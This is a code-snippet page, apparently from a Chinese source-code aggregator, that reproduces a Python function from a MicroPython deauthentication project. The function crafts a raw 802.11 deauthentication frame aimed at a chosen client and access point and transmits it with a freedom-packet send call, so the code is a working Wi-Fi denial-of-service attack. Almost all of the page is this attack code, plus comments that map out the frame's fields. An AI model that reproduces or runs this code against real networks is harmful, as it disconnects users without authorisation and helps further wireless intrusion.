main.py 文件源码

python
阅读 23 收藏 0 点赞 0 评论 0

项目:micropython-deauth 作者: PakchoiFood 项目源码 文件源码
def deauth(_ap,_client,type,reason):
    # 0 - 1   type, subtype c0: deauth (a0: disassociate)
    # 2 - 3   duration (SDK takes care of that)
    # 4 - 9   reciever (target)
    # 10 - 15 source (ap)
    # 16 - 21 BSSID (ap)
    # 22 - 23 fragment & squence number
    # 24 - 25 reason code (1 = unspecified reason)
    packet=bytearray([0xC0,0x00,0x00,0x00,0xBB,0xBB,0xBB,0xBB,0xBB,0xBB,0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC,0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC,0x00, 0x00,0x01, 0x00])
    for i in range(0,6):
        packet[4 + i] =_client[i]
        packet[10 + i] = packet[16 + i] =_ap[i]
    #set type
    packet[0] = type;
    packet[24] = reason
    result=sta_if.send_pkt_freedom(packet)
    if result==0:
        time.sleep_ms(1)
        return True
    else:
        return False
评论列表
文章目录


问题


面经


文章

微信
公众号

扫码关注公众号